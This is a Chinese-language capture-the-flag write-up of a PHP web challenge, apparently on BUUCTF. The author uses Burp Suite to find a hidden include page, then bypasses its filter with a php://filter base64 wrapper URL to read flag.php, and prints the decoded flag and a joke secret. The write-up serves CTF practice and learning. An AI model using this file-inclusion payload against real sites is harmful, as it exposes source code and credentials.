1. 打开靶场,发现只有两行字,没有输入框或者搜索框之类的。右击检查,查看源码,发现一个超链接文件./Archive_room.php。
直接点击进入到该页面:
(有点强迫症,想找到oh,you found me!的超链接文字在哪,最简单的方法只要选中页面上的文字拉一下就能看到了,如下图)
2. 进入 /Archive_room.php文件后看到一个按钮,点击后跳到另一个页面。依然没有输入框,查看源码没有发现任何信息。
3. 使用burpsuite抓包。发现中间提交了一个action.php ,使用burpsuite重放一下,看到了ser3t.php文件。
4. 依然在bp的repeater模块中,将GET后面的参数该文/secr3t.php文件 ,点击GO访问。看到include,应该是文件包含之类的漏洞,并且代码中可以看到,../, tp, input, data被过滤了。根据这个提示,考虑使用PHP伪协议绕过过滤。
5. 构造参数,读取文件。
php伪协议实际上就是php支持的协议和封装协议,一共包括12种。
详细的介绍以及在实际中的应用参考大佬文章:
http://ed3d1a3c-0faa-4191-a5cc-381d80e67262.node4.buuoj.cn:81//secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
以上url成功输出经过base64编码后的信息:
解码后的信息为:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{025a36c4-45ea-4de3-8ec5-c1b359f06210}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
成功看到flag和secret。
ps. 这个秘密。。。好像好多人都有呢hhhhh